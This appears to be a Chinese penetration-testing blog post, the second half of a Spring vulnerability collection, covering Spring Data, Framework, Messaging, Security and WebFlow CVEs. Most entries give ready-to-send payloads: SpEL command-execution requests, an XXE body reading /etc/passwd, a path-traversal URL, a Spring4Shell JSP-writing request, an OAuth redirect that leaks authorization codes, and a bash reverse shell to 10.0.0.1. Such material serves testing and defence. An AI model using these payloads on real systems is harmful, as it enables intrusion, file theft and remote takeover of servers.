spring漏洞合集 下

spring漏洞合集 下_第1张图片

前言

现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。

因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。

这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。

此合集由于内容较多,分为上下两部分。

上半部分内容:

  • Spring Boot Actuator 相关漏洞
  • Sping Boot 相关漏洞
  • Spring Cloud 相关漏洞

下半部分内容:

  • Spring Data 相关漏洞
  • Spring Framework 相关漏洞
  • Spring Security 相关漏洞
  • Spring WebFlow 相关漏洞

上半部分地址: spring漏洞合集 上

Spring Data 漏洞

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架

(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞

影响范围

  • PivotalSpringDataREST2.5.12 之前的版本,2.6.7 之前的版本,3.0RC3 之前的版本
  • SpringBoot2.0.0M4 之前版本
  • SpringDataKay-RC3 之前的版本

参考文章

http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html

特征

header 头是 Content-Type: application/hal+json;charset=UTF-8

spring漏洞合集 下_第2张图片

漏洞利用

PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]

必须是Content-Type: application/json-patch+json

op 是 replace 时,payload 后面必须有路径,不然不能触发 具体内容随意

spring漏洞合集 下_第3张图片

op 是 test 不需要其他路径

spring漏洞合集 下_第4张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MdAUm32S-1651841874673)(/usr/uploads/2022/04/24/1650798060.png)]

漏洞环境

见 vulhub

(CVE-2018-1259)Spring Data xxe 漏洞

影响范围

  • Spring Data Commons 1.13-1.13.11 (Ingalls SR11)
  • Spring Data REST 2.6-2.6.11 (Ingalls SR11)
  • Spring Data Commons 2.0-2.0.6 (Kay SR6)
  • Spring Data REST 3.0-3.0.6 (Kay SR6)

测试环境

Spring Data xxe 本地环境

漏洞利用

需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是 firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析 xml 啊

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>

spring漏洞合集 下_第5张图片

参考链接

https://blog.spoock.com/2018/05/16/cve-2018-1259/

(CVE-2018-1273)Spring Data Commons 组件远程代码执行漏洞

影响范围

  • Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现环境

vulhub

漏洞利用

poc

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

第二种 payload

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

spring漏洞合集 下_第6张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rGX2Pii3-1651841874674)(/usr/uploads/2022/04/24/1650798119.png)]

Spring Framework

(CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)

RFD,即 Reflected File Download 反射型文件下载漏洞,是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS,在危害上类似 DDE:攻击者可以通过一个 URL 地址使用户下载一个恶意文件,从而危害用户的终端 PC。
这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal 和其他许多公司认为这是一个中危漏洞。
RFD 漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html
简单来说 鸡肋漏洞

影响范围

  • Spring Framework 4.2.0 版本至 4.2.1 版本
  • Spring Framework 4.0.0 版本至 4.1.7 版本
  • Spring Framework 3.2.0 版本至 3.2.14 版本
  • Spring Framework 更早的已不再支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2020-5398)Spring Framework 反射型文件下载(RFD)

同上

影响范围

  • Spring Framework 5.2.0 – 5.2.2
  • Spring Framework 5.1.0 – 5.1.12
  • Spring Framework 5.0.0 – 5.0.15

(CVE-2020-5421)Spring Framework 反射型文件下载(RFD)

上个漏洞的绕过

影响范围

  • Spring Framework 5.2.0 - 5.2.8、5.1.0
  • Spring Framework 5.1.17、5.0.0
  • Spring Framework 5.0.18、4.3.0
  • Spring Framework 4.3.28 以及更早的不受支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2018-1271)Spring Framework 目录穿越

依然是一个触发条件很苛刻的漏洞

利用条件

  • 要使用 file 协议打开资源文件目录
  • Windows 平台
  • 不能使用 Tomcat 或者 wildfy 等中间件(本环境演示使用的是 jetty 服务器)

payload

http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini

参考链接

https://blog.spoock.com/2018/05/30/cve-2018-1271/

(CVE-2022-22965)Spring Framework 命令执行

核弹级漏洞 但是目前公开出来的利用方式就是 tomcat 环境下写 webshell

影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

漏洞环境

vulhub

漏洞复现

vulhub 提供的是直接写入 webshell 的,由于有些目标在验证时不允许写 webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c2: <%
DNT: 1
Content-Length: 2



spring漏洞合集 下_第7张图片

ps: 这个漏洞只能发送一次 payload 需要重启环境才能再次写入 原因未知

Spring Messaging

(CVE-2018-1270)Spring Messaging 远程命令执行

影响范围

  • Spring Java Framework < 5.0

漏洞利用

sockjs 通讯 非 http 协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270

复现环境

vulhub

Spring Security

(CVE-2016-4977)Spring Security OAuth2 远程命令执行

影响范围

  • Spring Security OAuth 2.0.0 版本至 2.0.9 版本
  • Spring Security OAuth 1.0.0 版本至 1.0.5 版本中

漏洞利用

就是普通的 spel 表达式注入 参数为response_type

复现环境

vulhub

(CVE-2018-1260)Spring Security Oauth2 远程代码执行

影响范围

  • Spring Security OAuth 2.3 to 2.3.2
  • Spring Security OAuth 2.2 to 2.2.1
  • Spring Security OAuth 2.1 to 2.1.1
  • Spring Security OAuth 2.0 to 2.0.14

利用方法

spel 表达式注入 无回显 需要 dnslog 漏洞参数scope

payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

参考链接

https://blog.spoock.com/2018/05/13/cve-2018-1260/

(CVE-2019-3778)Spring Security OAuth2 开放重定向

影响范围

  • Spring Security OAuth 2.3 to 2.3.4
  • Spring Security OAuth 2.2 to 2.2.3
  • Spring Security OAuth 2.1 to 2.1.3
  • Spring Security OAuth 2.0 to 2.0.16

限制条件

  • 有问题的 Spring Security OAuth2 版本
  • OAuth 认证使用授权码模式
  • 用户需要在登录的情况下

复现环境

漏洞利用

简单来说这个漏洞就是在利用 url 跳转偷认证票据

Blackhat 2019 有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff,在服务端解析错误后,会将其变成?,从而达到 url 跳转的目的。

#访问链接
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.xxxx.com%[email protected]&scope=all&client_secret=123456

#跳转到http://www.xxxx.com并且在后面追加了认证票据code
http://[email protected]?code=xxxx

参考链接

https://xz.aliyun.com/t/7409

Spring WebFlow

(CVE-2017-4971)Spring WebFlow 远程代码执行

影响范围

Spring WebFlow 2.4.0 - 2.4.4

复现环境

vulhub

复现过程

# 数据包添加一个带漏洞的参数即可
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx

往期文章

  • 对目录扫描工具dirsearch 的一些小改造
  • Oneforall 子域名扫描工具分析与改造
  • Xpocsutie3:基于 pocsuite3 二次修改的 POC 检测框架

spring漏洞合集 下_第8张图片

你可能感兴趣的:(漏洞复现,spring,java,安全)